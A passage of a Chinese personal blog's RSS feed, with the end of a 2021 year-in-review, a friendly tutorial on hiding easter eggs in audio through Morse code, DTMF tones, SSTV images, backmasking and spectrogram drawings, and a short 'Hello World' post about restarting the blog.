</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">@</span><span class="k">-moz-document</span> <span class="nt">url-prefix</span><span class="o">(</span><span class="s2">&#34;https://www.bilibili.com/video/&#34;</span><span class="o">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">bili-header__bar</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">background</span><span class="p">:</span> <span class="mh">#fff</span> <span class="cp">!important</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>来说一说把YouTube和Bilibili首页上的推荐内容全部隐藏之后，并使用了几个月之后的感受：完全不会想刷订阅列表之外的视频，帮我节省了特别特别多的时间可以用于其他事情，例如看书、写代码、写字，并且自己的注意力也不容易分散了。</p>
<p>如果你每天也花费了大量的时间在视频网站或其他带推荐算法的内容网站上，你也可以试着通过一些手段强迫自己不去点开推荐的内容，真的能收获非常多的inner peace和空闲时间，可以静下心来好好享受难得的心流时光，哪怕只是用这些节省下来的时间发发呆也是挺好的，发呆其实也很有用，发呆是很难得的自己陪伴自己的时光。</p>
<h2 id="-使用rss阅读器">📰 使用RSS阅读器</h2>
<p>这一个尝试其实也和前面的“🙅拒绝推荐算法”有关，在2021年这样一个资讯唾手可得，甚至资讯会自己主动找上门的年代（真的会自己找上门，谁能想到有一些跟新闻完全扯不上边的app也会给你推送新闻呢），真的很有必要使用RSS阅读器来帮助自己过滤一些无用的信息，提供自己一个静下心来阅读的空间。</p>
<p>使用的RSS阅读器是今年很喜欢的一款APP，NetNewsWire：<a href="https://netnewswire.com">https://netnewswire.com</a></p>
<p>这是一款iOS / macOS平台上的RSS阅读器，没有任何花里胡哨的功能，没有任何烦人的推送，只有最纯粹的订阅RSS和阅读，阅读列表支持通过iCloud同步到其他设备。</p>
<p>每天都会使用它阅读文章，还有一个今年很喜欢的东西是Newsletter，这个东西咱以后再说。</p>
<h2 id="-学习-figma">🎨 学习 Figma</h2>
<p>Figma也是今年特别喜欢的一款产品，能在上面花好多时间修修改改、涂涂画画，用它画了不少的icon，能直接导出SVG特别方便。在播客小镇的建设过程中也使用了Figma进行协作，极大提供了沟通效率，真的是特别好用的一款工具。上手难度极低，但是要用好还是需要多花一些时间钻研一下。</p>
<h1 id="-app-帮我总结的2021">📱 APP 帮我总结的2021</h1>
<h2 id="-spotify">🎵 Spotify</h2>
<p><img loading="lazy" src="/2021-review/spotify.png"></p>
<p>Top Artists里第三位的Kan Gao是游戏<a href="https://store.steampowered.com/app/206440/To_the_Moon/">《To the moon》</a>的作者，音乐真的特别好听：</p>
<!-- raw HTML omitted -->
<h2 id="-小宇宙">🪐 小宇宙</h2>
<p><img loading="lazy" src="/2021-review/cosmos.png"></p>
<!-- raw HTML omitted -->
<h1 id="-新的一年">🍀 新的一年</h1>
<p>耶，终于到我最喜欢的新年碎碎念环节了！</p>
<p>2021年真的是特别开心的一年，发生了很多很多有趣的事！也做了很多很多有趣的事~希望2022年也是如此！</p>
<p>新的一年，很重要的一件事当然是开始制作自己的播客啦，放心，这次肯定不咕！咱就是说，已经定下绝对不会拖延的DDL啦~</p>
<p>新的一年开始学习日语，耶！我有一位超棒的日语助教~（真的超nice，每次都能收获好多好多的感动</p>
<p>新的一年要多多拍照，以前的我似乎总是沉迷于给所见到的风景拍照，殊不知自己可能才是最需要拍照记录下来的。风景常有，但当下的自己只有此时此刻才有，明年就变成x+1岁的自己了，多给自己留一些纪念，以后才能知道自己几岁的时候是什么样子的，自己几岁的时候都干过什么呀~（再次感谢助教！</p>
<p>希望今年能去参加Podfest China，和喜欢的主播们见面~</p>
<p>希望今年多多更新博客（和播客）。</p>
<p>希望自己可以谈甜甜的恋爱。</p>
<p>希望希望！希望看到这里的你天天开心~</p>
<p>✌耶~2022新年快乐！</p>]]></content:encoded>
    </item>
    <item>
      <title>把彩蛋🥚藏到音频里去</title>
      <link>https://lgiki.net/post/build-your-own-audio-easter-egg/</link>
      <pubDate>Thu, 09 Sep 2021 15:17:29 +0800</pubDate>
      <guid>https://lgiki.net/post/build-your-own-audio-easter-egg/</guid>
      <description>这篇文章会介绍几种在音频里藏彩蛋的方法，例如Morse code、DTMF、SSTV、Backmasking和Spectrogram等，中间也会穿插一些奇奇怪怪但轻松有趣的知识</description>
      <content:encoded><![CDATA[<h1 id="intro">Intro</h1>
<p>这篇文章会介绍几种我所知道的在音频里藏彩蛋的方法，例如Morse code、DTMF、SSTV、Backmasking和Spectrogram等，中间也会穿插一些奇奇怪怪但轻松有趣的知识。</p>
<p>本来打算把这篇文章的内容录制成播客，但想到这篇文章需要大量的图表展示，还是写成博客比较直观，这样也方便随时进行查阅，同时，我也有理由继续咕咕咕我的第0期播客了哈哈哈（其实已经想好一些要聊的话题了，敬请期待~）</p>
<p>这篇文章稍微有点长，你可以分几次看完，或者直接跳转到你感兴趣的部分阅读即可，每一小节都可以独立阅读，没有前后关联的知识，放轻松阅读，不要有压力~</p>
<p>这篇文章中的很多内容参考了<a href="https://www.youtube.com/channel/UCVXstWyJeO6No3jYELxYrjg">好和弦NiceChord</a>的视频<a href="https://www.youtube.com/watch?v=a5hAVTXjjEc">把秘密訊息偷偷藏入音樂中！</a>，感谢<a href="https://www.youtube.com/channel/UCVXstWyJeO6No3jYELxYrjg">好和弦NiceChord</a>频道创作的免费且质量超高的乐理课。</p>
<h1 id="methods">Methods</h1>
<h2 id="morse-code">Morse code</h2>
<p>在《编码：隐匿在计算机软硬件背后的语言》开头描述了这样一个场景：</p>
<blockquote>
<p>你今年10岁，你最好的朋友就住在街对过。事实上，你们各自卧室的窗户正好彼此相对。每当夜幕降临，父母就如同往常一样，早早地催促你该上床睡觉了，但是你和你的朋友还想交流想法，交换见闻，分享各自的秘密，或者扯扯闲话，开开玩笑，聊聊梦想。</p></blockquote>
<p>如果是你，你会如何跟就在窗户对面的好朋友扯扯闲话，开开玩笑，聊聊梦想呢？</p>
<ul>
<li>
<p>打开窗户聊天？不行，即使窗户相对，要让对方听得清还是得发出比较大的声音，声音太大有可能会被父母听到。</p>
</li>
<li>
<p>把想说的话写在纸上，然后扔给对方？嗯，听起来好像可行的样子，但黑灯瞎火的既要写字又要阅读对方丢过来的小纸条好像又有点费劲。</p>
</li>
</ul>
<p>这时候你发现了床头的手电筒。</p>
<p>对啊！可以通过手电筒的亮灭来传递信息，只要双方约定好了手电筒的亮灭状态分别代表什么信息不就行了吗！例如，亮一下代表A，亮两下（亮灭亮）代表B…以此类推，通过手电筒的亮灭就能表示26个英文字母了，也就能进行简单的信息交换了。</p>
<p>但…还是存在一些问题，如果想表达“Z”这个英文字母，那就需要亮26下手电筒，手电筒会不会容易坏不说，光开关26次手电筒就得花上不少的时间，所以就需要一份效率更高的对照表。</p>
<p>Morse code就是这样的对照表，Morse code由两种符号构成：<code>dots (·)</code>和<code>dashes (-)</code>，其中dots表示最小单位，dashes表示3倍长度的dots，Morse code的对照表如下图：</p>
<p><img loading="lazy" src="/build-your-own-audio-easter-egg/image/Morse_Code.svg"></p>
<p>所以，就可以通过手电筒亮灭的时间长短来表示dots和dashes，例如亮1秒表示dot，亮3秒表示dash，这样一来，通过手电筒就能完成Morse code中所有字符的表示，进行信息的传递。</p>
<p>手电筒亮灭的时间长短是Morse code的一种表现形式，在声音里，自然就是声音的长短了。你一定在电视剧里看见过发电报的场景，听到过“嘀嘀嘀“、”嘀—嘀—嘀—”的电报声，其实那就是Morse code，顺便提一个小知识，这个“嘀嘀嘀“的声音其实是1000Hz的正弦波发出的声音，和用来消除f-word的“哔——”声是一样的。</p>
<p>你可以点击下方的按钮听听1000Hz正弦波发出的声音，也可以调整左侧的滑动条来听听不同频率正弦波所发出来的声音有什么不同：（播放之前注意降低一下耳机音量）</p>

<script>
const audioContext = new (window.AudioContext || window.webkitAudioContext)()
let oscillator = audioContext.createOscillator()
oscillator.type = 'sine'
oscillator.frequency.value = 1000
let gainNode = audioContext.createGain()
oscillator.connect(gainNode)
gainNode.connect(audioContext.destination)
window.addEventListener("DOMContentLoaded", () => {
    const frequencySlider = document.getElementById("frequency")
    const frequencyValue = document.getElementById("frequencyValue")
    const playButton = document.getElementById("play")
    const updateFrequencyValue = (newValue) => {
        frequencyValue.innerText = newValue
        oscillator.frequency.value = newValue
    }
    frequencySlider.addEventListener("input", (e) => {
        updateFrequencyValue(e.target.value)
    })
    frequencySlider.addEventListener("change", (e) => {
        updateFrequencyValue(e.target.value)
    })
    playButton.addEventListener("click", () => {
        if (playButton.innerText == "▶ Play") {
            oscillator = audioContext.createOscillator()
            oscillator.type = 'sine'
            oscillator.frequency.value = frequencySlider.value
            gainNode = audioContext.createGain()
            oscillator.connect(gainNode)
            gainNode.connect(audioContext.destination)
            oscillator.start()
            playButton.innerText = "⏸ Pause"
        } else {
            oscillator.stop()
            gainNode.disconnect()
            oscillator.disconnect()
            playButton.innerText = "▶ Play"
        }
    })
})
</script>
<div style="display: flex;align-items: center;justify-content:center">
    <label for="frequency">Frequency (Hz): </label>
    <input type="range" id="frequency" min="20" max="24000" value="1000" />
    <span id="frequencyValue">1000</span>Hz
    <button id="play" style="margin-left:5px">▶ Play</button>
</div>

<p>对照前面的Morse code码表，把<code>Hello</code>转换为Morse code就是<code>.... / . / .-.. / .-.. / ---</code>（这里我用<code>/</code>来分隔每一个字母），听起来像是这样子：</p>
<p><!-- raw HTML omitted -->Your browser does not support the audio element.<!-- raw HTML omitted --></p>
<p>即刻2020年年度报告的末尾就通过Morse Code隐藏了一段文字，解码出来的信息是“Thanks for your addicted”，这句话其实也是即刻app里的一个彩蛋，当多次刷新“动态”页面的时候，app底部会显示“Thanks for your addicted”这一行小字。</p>
<p>这是即刻2020年度报告末尾摩斯电码彩蛋的音频，你可以听听看：</p>
<p><!-- raw HTML omitted -->Your browser does not support the audio element.<!-- raw HTML omitted --></p>
<p>如果把这段音频放到音频编辑软件里，显示频谱图，对照Morse code码表就能翻译出对应的文字。例如，这是彩蛋“Thanks for your addicted”的第一个单词“Thanks”：</p>
<p><img loading="lazy" src="/build-your-own-audio-easter-egg/image/Jike_2020_easter_egg.png"></p>
<p>在小宇宙一周年祝福的末尾，也放了一段Morse code的彩蛋，想知道彩蛋具体是什么内容可以听听这期播客，自己试着解码一下哈哈（感谢<a href="https://web.okjike.com/u/911504F2-991E-41B8-B153-96CADA38A3A4">@我不跑调</a>）：<a href="https://www.xiaoyuzhoufm.com/episode/605cbdbe2da6d2ceaa0799f6">004 试试祝福</a></p>
<p><a href="https://www.xiaoyuzhoufm.com/episode/605cbdbe2da6d2ceaa0799f6"><img loading="lazy" src="/build-your-own-audio-easter-egg/image/cosmos_first_anniversary.png"></a></p>
<p>要生成Morse code的音频并不复杂，在Google上搜索<code>morse code generator</code>就能找到好多的Morse code生成器，例如这个：<a href="https://morsecode.world/international/translator.html">https://morsecode.world/international/translator.html</a>，输入你想要的文字，然后直接下载生成好的音频就行了。</p>
<p>PS：前面提到的《编码：隐匿在计算机软硬件背后的语言》挺有意思的，书里介绍了很多计算机中所使用的编码知识，例如各种门电路、计算机是如何计算加法、减法的等，如果感兴趣可以去找来看看。如果你曾被数电、模电所困扰，看完这本书应该会觉得轻松很多。</p>
<h2 id="dual-tone-multi-frequency-signaling">Dual-tone multi-frequency signaling</h2>
<p>Dual-tone multi-frequency，看这名字，又是dual又是multi的，一看就觉得很厉害的样子，但你的日常生活中肯定已经接触过这个东西了，甚至可能每天都会用到它，这个东西是平时打电话拨号时会用到的一项技术。</p>
<p>不知道你有没有想过，在使用座机拨打电话的时候，电信公司是如何知道我们所拨打的电话号码的，以及，为什么拨号键盘上的每个数字按下的声音听起来都有点不太一样。</p>
<p>和Morse code类似，Dual-tone multi-frequency其实是对拨号键盘每个按键的编码，简称为DTMF。如果把<code>Dual-tone multi-frequency</code>翻译成中文就是<code>双音多频</code>，从字面意思来理解，每个拨号按键都是由两个不同频率的声音来组成的。</p>
<p>DTMF的映射关系是这样的：</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th><strong>1209 Hz</strong></th>
          <th><strong>1336 Hz</strong></th>
          <th><strong>1477 Hz</strong></th>
          <th><strong>1633 Hz</strong></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>697 Hz</strong></td>
          <td>1</td>
          <td>2</td>
          <td>3</td>
          <td>A</td>
      </tr>
      <tr>
          <td><strong>770 Hz</strong></td>
          <td>4</td>
          <td>5</td>
          <td>6</td>
          <td>B</td>
      </tr>
      <tr>
          <td><strong>852 Hz</strong></td>
          <td>7</td>
          <td>8</td>
          <td>9</td>
          <td>C</td>
      </tr>
      <tr>
          <td><strong>941 Hz</strong></td>
          <td>*</td>
          <td>0</td>
          <td>#</td>
          <td>D</td>
      </tr>
  </tbody>
</table>
<p>下面有一些和DTMF不相关的文字，但是提到的内容挺有意思的，有空的话不妨看一看XD：</p>
<hr>
<p>看到这个表格，你有没有发现电话键盘的布局和你电脑键盘上的数字键（或计算器键盘）布局不太一样。其实电话的拨号键盘最初设计了好多种不同的形式，最终是经过多次实验才确定下来的，Bell实验室的一篇文章详细讲述了现在常用的电话拨号键盘的布局是如何被设计、挑选出来的，如果想了解更多的可以去看看这篇文章：<a href="https://www.academia.edu/download/41999662/touchtone_hf.pdf">https://www.academia.edu/download/41999662/touchtone_hf.pdf</a></p>
<p>《星箭廣播》有一期节目则是介绍了iPhone键盘是如何设计的，也很有意思，如果有时间可以听听看：<a href="https://podcast.starrocket.io/97">「現在開始你們都是鍵盤工程師！」iPhone 鍵盤的誕生與賈伯斯時代的蘋果軟體設計流程</a></p>
<hr>
<p>好了，言归正传，例如在拨号键盘上按下<code>123</code>就能听到这样的声音：</p>
<p><!-- raw HTML omitted -->Your browser does not support the audio element.<!-- raw HTML omitted --></p>
<p>把这段音频放到带有频谱分析功能的音频编辑软件中，可以看到每个按键都是上表中对应的两个频率声音的叠加：（例如①这个按键就是697Hz和1209Hz这两个声音的叠加）</p>
<p><img loading="lazy" src="/build-your-own-audio-easter-egg/image/DTMF_123.png"></p>
<p>因为拨号键盘的局限性，只有0~9的数字和几个字母和符号，要想使用DTMF来隐藏丰富的信息似乎有一些难度。</p>
<p>但如果把DTMF和手机上的输入法结合起来就很有意思了，想想在智能机还不是很普及的年代，手机还都是带有实体按键的，朋友之间发短信就只能通过手机上的十来个按键输入文字。（想当年，大家都练就了一副不看手机屏幕就能准确无误输入一大段文字的技能呢~）</p>
<p>当时的手机按键长这样：</p>
<p><img loading="lazy" src="/build-your-own-audio-easter-egg/image/t9_keyboard.svg"></p>
<p>每个按键分配了几个字母，通过这9个按键，就可以在手机上输入任何文字，例如，如果想在9键的输入法上通过拼音输入“你好”，就需要按下这几个键：<code>64426</code>。</p>
<p>把<code>64426</code>转换为DTMF音频作为彩蛋，探索彩蛋的人需要先识别出DTMF音频对应的数字，然后再通过手机输入法输入数字才能发现对应的文字，是一个很有趣的探索过程。</p>
<p>要制作DTMF音频（或者称之为拨号音）也很简单，依旧是在Google上搜索<code>DTMF generator</code>就能找到好多的Morse code生成器，例如这个：<a href="https://www.audiocheck.net/audiocheck_dtmf.php">https://www.audiocheck.net/audiocheck_dtmf.php</a>，输入你想要的拨号按键，然后直接下载对应的DTMF音频就行了。</p>
<h2 id="slow-scan-television">Slow-scan television</h2>
<p>既然通过声音可以传输字符，那么肯定还可以传输信息更加丰富的图片啦~只是编码的对象不同而已，Morse code和DTMF编码的对象是字符，而接下来要介绍的这个技术编码对象则是图片。</p>
<p>不知道你有没有好奇过，天上的卫星是如何向地面传输数据的，特别是如何将拍下来的照片传输到地面的。</p>
<p>Slow-scan television就是其中一种方法，简称为SSTV ，翻译为中文就是慢扫描电视，把图像信息编码到音频中进行传输。SSTV背后详细的编码细节这里就不展开了，如果感兴趣可以看看<a href="http://www.sstv-handbook.com/">SSTV handbook</a>来了解更多关于SSTV的编码细节。</p>
<p>一些卫星/空间站会定时向地面通过SSTV传输照片，例如国际空间站（International Space Station, ISS）会定期向地面通过SSTV传输一些照片：</p>
<p><img loading="lazy" src="/build-your-own-audio-easter-egg/image/sstv.jpg"></p>
<p>曾经听到一期完全由SSTV构成的播客节目：</p>
<p><a href="https://www.xiaoyuzhoufm.com/episode/601f5c74cab0e874b2dc2af6"><img loading="lazy" src="/build-your-own-audio-easter-egg/image/sstv_episode.png"></a></p>
<p>通过手机上的SSTV解码app解码这期播客的音频可以看到这样的图像：（看起来应该是播客封面的左上角）</p>
<p><img loading="lazy" src="/build-your-own-audio-easter-egg/image/sstv_episode_decode.png"></p>
<p>如果你玩过Valve出品的游戏<a href="https://store.steampowered.com/app/400/Portal/">Portal</a>，也许会对散布在游戏各处的收音机有点印象，它长这样：</p>
<p><img loading="lazy" src="/build-your-own-audio-easter-egg/image/portal_radio.jpg"></p>
<p>这个形状看起来有点奇怪的收音机其实就埋藏着许许多多和SSTV有关的彩蛋，当游戏通关之后，再次进入游戏，将散布在关卡不同角落的收音机拿起来走到某个指定的位置就能接收到Morse code或SSTV的声音（这个过程就像是拿着收音机找信号哈哈），例如这是第一关SSTV彩蛋解码出来的图像：</p>
<p><img loading="lazy" src="/build-your-own-audio-easter-egg/image/portal_sstv.png"></p>
<p>更多关于Portal中SSTV彩蛋的细节可以在这个wiki上查看：<a href="https://half-life.fandom.com/wiki/Portal_ARG">https://half-life.fandom.com/wiki/Portal_ARG</a>，<del>所以Portal什么时候出第3部呢！</del></p>
<p>想想在音频里藏入一段SSTV音频当彩蛋，听到音频的人想看到这张图片，就得拿着手机或电脑通过麦克风来接收藏在音频中的图片，随着音频的播放，图片逐渐拼凑完整，应该会是一个很有趣的过程~</p>
<p>生成SSTV同样可以在Google上搜索<code>SSTV generator</code>，就能找到很多将图片编码为SSTV音频的在线工具，例如这个：<a href="https://www.vr2woa.com/sstv/">https://www.vr2woa.com/sstv/</a>，或者也可以使用这个Python工具来将图片编码为SSTV音频：<a href="https://github.com/dnet/pySSTV">https://github.com/dnet/pySSTV</a>。</p>
<p>需要注意的是，SSTV有多种不同的模式，不同模式对应的音频长度和支持的图像分辨率也不一样，在生成SSTV音频的时候需要仔细确认所使用模式对应的图片分辨率。</p>
<h2 id="backmasking">Backmasking</h2>
<p>看了这么多和编码相关的知识，是不是觉得自己已经看得头昏眼花了，那就下来就介绍一个很容易理解的方法，叫Backmasking。</p>
<p>Backmasking其实是一种录音技术，是指将声音或信息反向录制到要向前播放的轨道上。在数字音频还不是特别发达的年代，要录制Backmasking音频还需要通过磁带录音机来实现，但现在利用音频处理软件的<code>reverse</code>功能，就可以直接将一段音频反向播放，原本清晰的文字在经过倒放之后就会变得完全无法听出来在说什么。</p>
<p>下面这个视频是周杰伦2003年发布的歌曲《你听得到》的MV，<strong>注意听“秘密躺在我怀抱”的下一句</strong>：（已经设置好视频播放的时间节点，如果视频没有自动跳转到指定位置的话，麻烦你手动把进度条拉拽到<code>2:43</code>处。视频引用自YouTube，如果无法访问，下面也有一段截取出来的音频可以直接播放）</p>
<!-- raw HTML omitted -->
<p>如果你无法播放上面的视频，这里有一段从《你听得到》歌曲中截取出来的音频：</p>
<p><!-- raw HTML omitted -->Your browser does not support the audio element.<!-- raw HTML omitted --></p>
<p>“秘密躺在我怀抱”的下一句，虽然字幕显示的是“只有你能听得到”，但是是不是发现根本听不清在唱什么，其实这里就是一段Backmasking的音频。</p>
<p>如果把这段音频reverse回来就能听到歌词里显示的“只有你能听得到”，就像这样：</p>
<p><!-- raw HTML omitted -->Your browser does not support the audio element.<!-- raw HTML omitted --></p>
<p>Wikipedia上有一个列表：<a href="https://en.wikipedia.org/wiki/List_of_backmasked_messages">List of backmasked messages - Wikipedia</a>，列举了在音乐作品中出现的Backmasking，如果感兴趣可以把列表里相关的歌曲找来听一听，找找里面的Backmasking片段。</p>
<p>Backmasking的制作方法就不详细介绍了，大部分音频编辑软件（例如Adobe Audition等）应该都提供了<code>reverse</code>功能，选中你希望作为彩蛋的音频，将其reverse即可。</p>
<h2 id="spectrogram">Spectrogram</h2>
<p>所以…有没有什么方法是不容易听出来藏了信息的呢？那就是今天最后要介绍的一种藏彩蛋的方法了，把信息藏在声音的频谱图（Spectrogram）里。</p>
<p>频谱图看起来就像这样：</p>
<p><img loading="lazy" src="/build-your-own-audio-easter-egg/image/spectrogram.png"></p>
<p>其中，横轴表示时间，纵轴表示频率，通过颜色来表示特定时间上某个特定频率的幅值。</p>
<hr>
<p>更多关于频谱图的知识就不详细介绍了，其中涉及了傅里叶变换、小波变换等知识，比较复杂，如果你对其中的原理感兴趣可以看看3Blue1Brown的这期视频了解其背后的知识：<a href="https://www.youtube.com/watch?v=spUNpyF58BY">https://www.youtube.com/watch?v=spUNpyF58BY</a>（<del>我才不会告诉你其实我自己也不太懂傅里叶变换呢！</del>）</p>
<p>3Blue1Brown的视频质量都超高，如果对数学感兴趣真的强烈推荐去看看，会有种一看就不想停下来的冲动（<del>我一般是一看就开始打瞌睡</del>）。除了视频，3Blue1Brown最近也开始做播客了，RSS链接在这：<a href="https://anchor.fm/s/636b4820/podcast/rss">https://anchor.fm/s/636b4820/podcast/rss</a></p>
<hr>
<p>在著名沙盒游戏Minecraft中的一张唱片<code>Disc 11</code>里就藏了一个小彩蛋，用音频编辑软件打开<code>Disc 11</code>这张唱片，显示频谱图，定位到<code>1:02</code>左右：</p>
<p><img loading="lazy" src="/build-your-own-audio-easter-egg/image/minecraft_disc_11.png"></p>
<!-- raw HTML omitted -->
<p>能在<code>1:02</code>之后看到跟Minecraft两大角色之一的Steve的脸很像的频谱图，在旁边还有几个数字：<code>12418</code>，把十进制的<code>12</code>转换为十六进制就是<code>C</code>，连起来就是<code>C418</code>，这正是这段音乐作者的名字。</p>
<p>有趣的是，这张名为Disc <strong>11</strong>的唱片长度为<strong>1</strong>分钟<strong>11</strong>秒<strong>111</strong>微秒，不愧是Disc <strong>11</strong>！</p>
<p>接下来讲讲如何在音频的频谱图中隐藏文字信息，其实常用的音频编辑软件，例如Adobe Audition中，就提供了音频频谱的编辑功能，利用该功能就能很方便地制作Spectrogram彩蛋。</p>
<p>打开你想要的音频，点击下图红色方框所框住的按钮显示频谱图：</p>
<p><img loading="lazy" src="/build-your-own-audio-easter-egg/image/spectrogram_1.png"></p>
<p>然后选择上图中黄色方框所框住的画笔🖊工具，在频谱图上通过画笔工具写上你想隐藏的文字：</p>
<p><img loading="lazy" src="/build-your-own-audio-easter-egg/image/spectrogram_2.png"></p>
<p>画出想隐藏的信息后按下键盘上的<!-- raw HTML omitted -->Delete<!-- raw HTML omitted -->键即可：</p>
<p><img loading="lazy" src="/build-your-own-audio-easter-egg/image/spectrogram_3.png"></p>
<p>不过，编辑频谱图会对原始音频产生一定的影响，有些时候编辑完听起来会觉得声音有点怪怪的。</p>
<p>还有一种方法是在白噪音的频谱图写上想隐藏的文字，然后把白噪音作为单独一轨，混入整体的工程中。</p>
<p>如果你听过传统的收音机，在搜台的时候就能听到类似的声音，白噪音听起来就像这样：（播放之前注意音量）</p>
<p><!-- raw HTML omitted -->Your browser does not support the audio element.<!-- raw HTML omitted --></p>
<p>白噪音的频谱图非常均匀：</p>
<p><img loading="lazy" src="/build-your-own-audio-easter-egg/image/whitenoise.png"></p>
<p>在白噪音的频谱图上写下想隐藏的文字之后，将其作为单独的一轨音频放到你的混音工程里，并将白噪音所在的轨道增益减小，小到正常音量播放时几乎听不到的程度，在最终混合生成的音频文件频谱图中就能看到被隐藏在白噪音中的信息。</p>
<p>你可以在这里下载到白噪音样本：<a href="https://www.audiocheck.net/testtones_whitenoise.php">https://www.audiocheck.net/testtones_whitenoise.php</a></p>
<h2 id="other">Other</h2>
<p>嗯…看了这么多，还有其他方法吗？</p>
<p>有，并且还有很多，如果感兴趣可以到Google Scholar搜索<a href="https://scholar.google.com/scholar?&amp;q=audio+steganography"><code>audio steganography</code></a>，能找到很多相关的论文。</p>
<h1 id="easter-egg">Easter egg?</h1>
<p>一直觉得在作品中藏彩蛋是一件很浪漫的事。</p>
<p>找彩蛋的过程就好像陶渊明的《桃花源记》所描述的那样：</p>
<blockquote>
<p>林尽水源，便得一山，山有小口，仿佛若有光，便舍船从口入。初极狭，才通人，复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田美池桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣著，悉如外人。黄发垂髫，并怡然自乐。</p></blockquote>
<p>即刻app的“系统设置”页面和小宇宙app的“关于”页面里就藏了彩蛋，只要在这两个页面往上拉，就能发现隐藏的果果🐱和电池🔋：</p>
<table>
  <thead>
      <tr>
          <th style="text-align: center">即刻APP“系统设置”页面彩蛋</th>
          <th style="text-align: center">小宇宙APP“关于”页面彩蛋</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: center"><img loading="lazy" src="/build-your-own-audio-easter-egg/image/jike_setting.png"></td>
          <td style="text-align: center"><img loading="lazy" src="/build-your-own-audio-easter-egg/image/cosmos_about.png"></td>
      </tr>
  </tbody>
</table>
<p>Google的很多产品里其实也藏了彩蛋，例如在Google搜索<code>recursion</code>，它会问你<code>Did you mean: recursion</code>：（这可能是一个只有程序员才懂的彩蛋哈哈哈）</p>
<p><img loading="lazy" src="/build-your-own-audio-easter-egg/image/google_easter_egg.png"></p>
<p>最后，介绍一个记录彩蛋的网站：<a href="https://eeggs.com/">https://eeggs.com/</a>，在这个网站里能找到许多藏在软件/电影/音乐/书里的奇奇怪怪的彩蛋，可惜这个网站似乎有一段时间没更新了。</p>


<span class="spoiler">恭喜你发现藏在这篇文章的彩蛋一枚~</span>


<h1 id="references">References</h1>
<ul>
<li><a href="https://www.youtube.com/channel/UCVXstWyJeO6No3jYELxYrjg">好和弦NiceChord - YouTube</a></li>
<li><a href="https://www.youtube.com/watch?v=a5hAVTXjjEc">把秘密訊息偷偷藏入音樂中！ - YouTube</a></li>
<li><a href="https://wiwi.video/videos/watch/1614c868-bc18-4e63-8fa7-200370863578">⏪！吧「戲遊帶倒」玩來起一 - Wiwi.Video 好和弦聯播網</a></li>
<li><a href="https://book.douban.com/subject/4822685/">《编码：隐匿在计算机软硬件背后的语言》(豆瓣)</a></li>
<li><a href="https://en.wikipedia.org/wiki/Morse_code">Morse code - Wikipedia</a></li>
<li><a href="https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling">Dual-tone multi-frequency signaling - Wikipedia</a></li>
<li><a href="https://www.youtube.com/watch?v=s-dKTP19OV0">WiwiCast Ep. 2 - 用鋼琴打電話 (How to Make a Phone Call Using a Piano)  - YouTube</a></li>
<li>Deininger, R. L. &ldquo;Human factors engineering studies of the design and use of pushbutton telephone sets.&rdquo; <em>Bell System Technical Journal</em> 39.4 (1960): 995-1012.</li>
<li><a href="https://en.wikipedia.org/wiki/T9_(predictive_text)">T9 (predictive text) - Wikipedia</a></li>
<li><a href="https://en.wikipedia.org/wiki/Slow-scan_television">Slow-scan television - Wikipedia</a></li>
<li><a href="http://www.sstv-handbook.com/">SSTV handbook</a></li>
<li><a href="https://amsat-uk.org/2019/02/03/ariss-nota-iss-sstv/">ARISS/NOTA ISS Slow Scan TV Event Feb 8-10 | AMSAT-UK</a></li>
<li><a href="https://half-life.fandom.com/wiki/Portal_ARG">Portal ARG | Half-Life Wiki | Fandom</a></li>
<li><a href="https://en.wikipedia.org/wiki/Backmasking">Backmasking - Wikipedia</a></li>
<li><a href="https://en.wikipedia.org/wiki/List_of_backmasked_messages">List of backmasked messages - Wikipedia</a></li>
<li><a href="https://en.wikipedia.org/wiki/Digital_audio_workstation">Digital audio workstation - Wikipedia</a></li>
<li><a href="https://en.wikipedia.org/wiki/Spectrogram">Spectrogram - Wikipedia</a></li>
<li><a href="https://minecraft.fandom.com/el/wiki/Easter_eggs">Easter eggs – Official Minecraft Wiki</a></li>
</ul>]]></content:encoded>
    </item>
    <item>
      <title>Hello World</title>
      <link>https://lgiki.net/post/hello-world/</link>
      <pubDate>Sat, 17 Apr 2021 21:07:20 +0800</pubDate>
      <guid>https://lgiki.net/post/hello-world/</guid>
      <description>你好，世界</description>
      <content:encoded><![CDATA[<p>兜兜转转，来来回回，反反复复，我又重新拾起了写博客这项<del>事业</del>。</p>
<p>已经数不清是第几次见到<code>“你好，世界”</code>这句话了，每次搭建博客都能见到这句话，这句话是对这个世界的第一声呼唤，是一切的开始，荒废过好几个博客，希望这次能坚持下去。</p>
<p>其实并不是不想更新博客，我一直都有写文字的习惯，在没更新博客的这段时间里也写了不少文字，大多是跟生活相关的记录和碎碎念。之前的想法是希望博客尽量写一些跟计算机相关的文章，少一些日常生活的流水账，现在想想，好像生活流水账也很值得被记录在博客上。</p>
<p>读研之后的每一天都很忙，每天面对无尽的deadline真的很难让人快乐得起来，所以有一段时间整个人的状态挺不好，被困于deadline和对生活的抱怨之中，对一切都提不起兴趣，对新鲜事物提不起好奇心。</p>
<p>幸好，自己调整过来了，在这个过程中也培养了一些爱好：看书、听播客和出门闲晃。</p>
<p>看书，其实我一直都很喜欢看书，特别是纸质书，纸张的触感和淡淡香气很让人沉迷。本科时看的大多是计算机相关的书籍，现在看的比较杂，小说、散文、诗集、绘本、科普，啥都看，看书很让人放松，很享受沉迷于书本的感觉，每周给阅读专门腾出一段时间，关掉手机、关掉即时通讯软件，关掉一切的干扰，泡上一杯咖啡或茶叶，悠哉悠哉看几个小时书，闲适痛快。</p>
<p>听播客，播客是个好东西，每天都会听播客。听播客了解了好多以前不知道的知识、以前没关注过的现象，认识了很多有趣的朋友。也打算录制播客，录音笔其实已经买了挺久了，因为平时比较忙，在学校也比较难找到一个安静的场所录制，所以一直处于咕咕咕状态，但已经提上日程了，很快就会更新第一期播客的！一定！</p>
